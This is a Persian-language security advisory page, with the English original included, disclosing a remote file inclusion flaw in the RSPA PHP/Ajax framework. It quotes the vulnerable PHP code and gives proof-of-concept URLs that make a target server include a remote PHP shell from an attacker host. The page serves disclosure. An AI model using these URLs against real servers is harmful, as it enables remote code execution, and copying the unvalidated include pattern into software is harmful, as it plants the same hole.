تماس با ما
درباره ما
مقالات
آرشیو
آخرین آسیب پذیری ها
آخرین اخبار
صفحه اصلی
 
 
 

 
 
 


نکته ویژه: شما مي توانيد در اين سايت آخرين آسيب پذيري هاي امنيتي به همراه آخرين مكمل هاي امنيتي را بيابيد
همچنين با عضويت در خبرنامه آخرين اخبار امنيتي را بصورت منظم دريافت كنيد
در صورتي که نياز به خدمات خاص و ويژه اي داريد با بخش پشتيباني ما تماس بگيريد .همچنين مي توانيد براي تماس تلفني از شماره 09354192995 استفاده نماييد.

آخرين آسيب پذيري ها  
آخرین اخبار امنيتي  
آخرین ويروس ها  

تبلیغات :
فروشگاه مجازی رایانه


1386-01-13 02:21:54
طبقه بندی :
امنیت در برنامه های کاربردی (1)
امنیت در برنامه های و اپلیکیشن ها تحت وب (ASP,PHP ,...) (1)
آسیب پذیری های امنیتی (8)
شماره مقاله : 6
سطح علمی : 1
کیفیت مقاله : 1
عنوان :آسيب پذيري پيوست فايل در RSPA

خلاصه مقاله
RSPA كه مخفف Really Simple PHP and Ajax () مي باشد يك كامپوننت ساده مرتبط با اجكس براي PHP نسخه هاي 4 و 5 مي باشد كه شامل تركيبي ار كلاس ها PHP و HTML/Javascript مي باشد كه امكان فراخواني توابع PHP سمت سرور را از طريق رويداد هاي جاوااسكرپت سمت مشتري فراهم مي سازد .
در آدرس زير قابل دسترسي مي باشد .
http://rspa.sourceforge.net
متن اصلی


RSPA Remote File Inclusion

Really Simple PHP and Ajax (RSPA)
RSPA is a component based event driven ajax enabled framework for PHP4 and PHP 5. It is a combination of plane PHP class and HTML/Javascript.RSPA allows calling server side PHP functions from client javascript events. Visit http://rspa.sourceforge.net

Credit:
The information has been provided by Hamid Ebadi
The original article can be found at : http://www.bugtraq.ir

http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6

Vulnerable Systems:
Version: rspa-2007-03-23

Description:
Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and " __class" parameters in "rspa/framework/Controller_v5.php" and " rspa/framework/Controller_v4.php " is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources.


read more about file inclusion in http://www.bugtraq.ir/articles

Vulnerable Code :
require_once("rspaconf.inc.php");

$className = $_REQUEST['__class'];
$methordName = $_REQUEST['__methord'];

// IncludeFile for PHP Class
if ($_REQUEST['__IncludeFilePHPClass']){
$filename = $_REQUEST['__IncludeFilePHPClass'];
require_once ($filename);
}

// Parms
if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}

// ClassFile + ClassPath
include ("../components/Form.class.php");
if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){
$filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];
}else{
$filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
}
require_once($filename);

POC exploit :
The following URL will cause remote file inclusion

http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://phpshell.txt/?
# copyright : http://www.bugtraq.ir


آسيب پذيري پيوست فايل در RSPA
Really Simple PHP and Ajax (RSPA)

RSPA كه مخفف Really Simple PHP and Ajax () مي باشد يك كامپوننت ساده مرتبط با اجكس براي PHP نسخه هاي 4 و 5 مي باشد.
كه شامل تركيبي ار كلاس ها PHP و HTML/Javascript مي باشد كه امكان فراخواني توابع PHP سمت سرور را از طريق رويداد هاي جاوااسكرپت سمت مشتري فراهم مي سازد .

و در آدرس زير قابل دسترسي مي باشد .
http://rspa.sourceforge.net

توضيحات :
ورودي پارامتر " __IncludeFilePHPClass ", " __ClassPath" و همچنين " __class" در "rspa/framework/Controller_v5.php" و " rspa/framework/Controller_v4.php
پيش از پيوست فايل بصورت مناسب از لحاظ امنيتي بررسي نمي شوند .
نفوذگر با توجه به اين آسيب پذيري قادر به اجرا فايل هاي دلخواه (حاوي كد هاي php ) از داخل و خارج سرور مي باشد .
مي توانيد اطلاعات بيشتر در مورد پيوست فايل File inclusion را در http://www.bugtraq.ir بيابيد .

كد هاي آسيب پذير :

require_once("rspaconf.inc.php");

$className = $_REQUEST['__class'];
$methordName = $_REQUEST['__methord'];

// IncludeFile for PHP Class
if ($_REQUEST['__IncludeFilePHPClass']){
$filename = $_REQUEST['__IncludeFilePHPClass'];
require_once ($filename);
}

// Parms
if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}

// ClassFile + ClassPath
include ("../components/Form.class.php");
if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){
$filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];
}else{
$filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
}
require_once($filename);



كد مخرب براي اثبات ادعا :

http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/?
# http://www.bugtraq.ir




حميد عبادي
منابع و نویسندگان :
اين آسيب پذيري توسط حميد عبادي كشف شده و تمامي حقوق براي رسانه امنيت ديجيتال محفوظ مي باشد .

رسانه امنيت ديجيتال
http://www.bugtraq.ir

 
صفحه اصلی  
آرشیو آسیب پذیری ها  
- بر اساس محصولات  
- بر اساس تولید کنندگان  
- بر اساس تاریخ  
مقالات امنيت شبكه  
راهنمای استفاده  
ارسال مقاله  
مهر 1385  
آبان 1385  
آذر 1385  
دي 1385  
بهمن 1385  
اسفند 1385  
فروردين 1386  
ارديبهشت 1386  
خرداد 1386  
تير 1386  
مرداد 1386  
شهريور 1386  
مهر 1386  
آبان 1386  
آذر 1386  
دي 1386  
بهمن 1386  
اسفند 1386  
فروردين 1387  
ارديبهشت 1387  
خرداد 1387  
تير 1387  
مرداد 1387  
شهريور 1387  
مهر 1387  
آبان 1387  
آذر 1387  
دي 1387  
بهمن 1387  
اسفند 1387  
فروردين 1388  
ارديبهشت 1388  
خرداد 1388  
تير 1388  
مرداد 1388  
شهريور 1388  
مهر 1388  
آبان 1388  
آذر 1388  
دي 1388  
بهمن 1388  
درباره ما و اهداف ما  
تماس با ما  
پیشنهادات شما  
شرایط استفاده  
پشتیبانان و حامیان ما  
استفاده از خدمات رايگان  
 
 
 
www.BugTraq.ir صفحه اصلی  |  مقالات امنیتی  درباره ما  تماس با ما  شرایط استفاده  پیشنهادات شما